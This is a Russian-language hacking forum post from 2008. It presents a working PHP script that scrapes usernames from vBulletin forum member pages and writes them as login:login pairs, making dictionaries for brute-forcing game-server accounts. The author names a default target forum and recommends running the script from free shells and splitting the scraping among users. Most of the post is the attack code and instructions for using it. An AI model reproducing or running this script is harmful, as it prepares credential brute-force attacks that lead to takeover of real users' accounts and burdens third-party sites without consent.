Вторник, 14.07.2026, 02:39


UA - HACKS

Главная | RSS
[ ЛС() · Новые сообщения · Участники · Правила · Поиск по форуму! · RSS ]
  • Страница 1 из 1
  • 1
[la2brute]vbulletin login grabber
n1ntendoДата: Среда, 20.02.2008, 19:55 | Сообщение # 1
[ADM]
Группа: Developer Team
Сообщений: 65533
Статус: Offline
[la2brute]vbulletin login grabber

каждый, кто занимался брутом, сталкивался с проблемой нехватки словарей. есть несколько вариантов сбора словарей: качать из инета, генерировать, собирать самому. я предлагаю вам попробовать третий способ, который заключается в том, что вы используете скрипт, автоматизирующий ваши действия (нет нужды делать все вручную) по сборке словарей. принцип работы скрипта: сбор логинов с форумов, то есть, доупстим, вы играете на каком-либо сервере, и знаете, что большинство игроков с олчитса. ваши действия: натравливаете скрипт на форум и он собирает для вас ловарь вида login:login. любой знающий человек скажет вам, что комбинации, где пароль совпадает с логином попадаются очень часто, так что попробовать однозначно стоит.

как вариант, можете договориться с пользователями на этом форуме и распределенно собирать словари по различным игровым форумам, а результаты потом собрать воедино, если вы решите так сделать, обращайтесь ко мне, напишу простенький скрипт для сортировки от совпадающих логинов. итого на выходе у олчится будет свой словарь, который в будущем можно модернизировать на проверку определенного пароля. (убераем комментарий с 91 строки скрипта и в файл пишутся только логины, таким образом, словарь можно приводить к виду login:your_pass, итого, вы можете брутить диапазон ваших, собранных уникальных логинов на любой пароль)

использование предполагает наличие веб-сервера и php интерпретатора пятой версии (так как писалось именно под эту версию - но под другие думаю проблем возникнуть тоже не должно). в скрипте присутствует простенькая форма без лишних наворотов и дизайна (ну минималист я - что поделать), по дефолту скрипт настроен на сбор лоигнов с олчится, так что вы можете протестировать его в любое время на этом форуме (да простит меня администрация за лишнюю нагрузку). вводите хост, директорию (в данном случае ненадо, так как форум лежит в корневой директории), с какого пользователя начинать, каким заканчивать (этот вариант предусмотрен для тех, кто уже собрал энное колличсетво логинов и остановил скрипт, а остальны собирать будет в следующий раз), также необходимо указать название выходного файла куда будут записываться результаты работы (файл появится в той же директории, что и скрипт). последняя опция предполагает сбор логинов со всего форума (то есть все 47 тысяч как на олчитсе). работать по такой опции крайне не рекомендуется, это займет очень много времени, так как сборщик на пхп и не многопоточный. лучше собирать распределенно и по диапазонам, например, пользователь А - с 1 до 1001, Б с 1002 до 2002 и т.д. , а потом уже скоординироваться и сгруппипровать результаты и получить нормальный уникальный словарь.

почему я использовал именно пхп, спросите вы, да все просто:
- использование скриптового языка пхп предполагает кросплатформенность
- использования скриптового языка позволяет не тратить свой собвстенный канал, а запустить скрипт на бесплатном шелле (ищите в поиске - сервисов туча) и лишь дожидаться результатов, не тратя ресурсы своей машины и время за компьютером.

как минус могу отметить одно:
- отсутствие многопоточности (на пхп реализовать многопоточность довольно тяжело, но я буду вести деятельность в этом направлении)

наконец, сам скрипт:

Code
<?
//vbulletin login grabber final
//coded by .::Gh0st::.
set_time_limit(0);
error_reporting(0);

//getting vars
$host = $_POST["host"];
$dir = $_POST["dir"];
$startpos = intval($_POST["startpos"]);
$endpos = intval($_POST["endpos"]);
$list = $_POST["list"];
$all = intval($_POST["all"]);
//eof getting vars

//checking for needed vars (drawing form or start the task)
if (empty($host) or ($startpos == 0) or ($endpos == 0) or empty($list))
{ //drawing form
?>
<form action="<? echo $_SERVER["PHP_SELF"];?>" method="POST">
<b>Host:</b><br>
<input type="text" name="host" value="allcheats.ru" style="width: 200px;"><br>
<b>Directory (no need to write if root directory):</b><br>
<input type="text" name="dir" value="" style="width: 200px;"><br>
<b>Start position:</b><br>
<input type="text" name="startpos" value="1" style="width: 200px;"><br>
<b>End position:</b><br>
<input type="text" name="endpos" value="15" style="width: 200px;"><br>
<b>Output filename:</b><br>
<input type="text" name="list" value="dic.txt" style="width: 200px;"><br>
<b>All grabbing mode (may take a lot of time):</b><br>
<select name="all">
<option value="0">disabled</option>
<option value="1">enabled</option>
</select><br>
<input type="submit" name="submit" value="start">
</form>
</html>
<?
} //eof drawing form
else
{ //start the task
echo "<b>[*]starting task on $host.. wait for a while<br>";
if (empty($dir)) {$path = $host;}
else {
          preg_match("/[\/a-z0-9]+(?:\/?[a-z0-9]+)+/i", $dir, $match);
          $path = "$host$match[0]";
          }

//user count
$sock = fsockopen($host, 80, $errno, $errstr, 10);
stream_set_timeout($sock, 60);
fputs($sock, "GET http://$path/index.php HTTP/1.1\r\n");
fputs($sock, "Host: $host\r\n");
fputs($sock, "Connection: Close\r\n\r\n");
while (!feof($sock))
{
         $line = fgets($sock);
         preg_match("/пользовател(?:и|ей):\s[0-9]{1,3}(?:,?[0-9]{1,3})+/i", $line, $count);
         if ($count[0]) {break;}
}
fclose($sock);

echo "[i]$count[0]</b><br>";
$count[1] = preg_replace("/[а-я,:\s]+/i", "", $count[0]);
//eof user count

//getting logins
$handle = fopen($list, "w");
if ($all === 1) {$startpos = 1; $endpos = $count[1]; echo "<b>[i]switched to full mode</b><br>";}
else {echo "<b>[i]grabbing from $startpos to $endpos</b><br>";}
for ($u = $startpos; $u <= $endpos; $u++)
         {
         $sock = fsockopen($host, 80, $errno, $errstr, 10);
         if (!$sock) {$u = $u - 1; echo "socket error at $u - retrying"; continue;}
         stream_set_timeout($sock, 60);
         fputs($sock, "GET http://$path/member.php?u=$u HTTP/1.1\r\n");
         fputs($sock, "Host: $host\r\n");
         fputs($sock, "Connection: Close\r\n\r\n");
         while (!feof($sock))
         {
                 $line = fgets($sock);
                 $nick = preg_split("/просмотр профиля:\s|<\/title>/i", $line);
                 if ($nick[1]) {break;}
         }
         if ($nick[1] === "\r\n") {continue;}
         if (empty($nick[1])) {if ($all === 1){$u = $u -1;} continue;}
         if (!preg_match("/[а-я]+/i", $nick[1]))
         {
                 $str = $nick[1].":".$nick[1]."\r\n";
                 //$str = $nick[1]."\r\n";
                 fwrite($handle, $str);
                 echo "$u: $str<br>";
                 $i = $i + 1;
         }
         fclose($sock);
         }
fclose($handle);
//eof getting logins

echo "<b>[*]Task finished</b><br>";
echo "<b>[i]$i records grabbed</b>";
}
//eof
?>


 
  • Страница 1 из 1
  • 1
Поиск: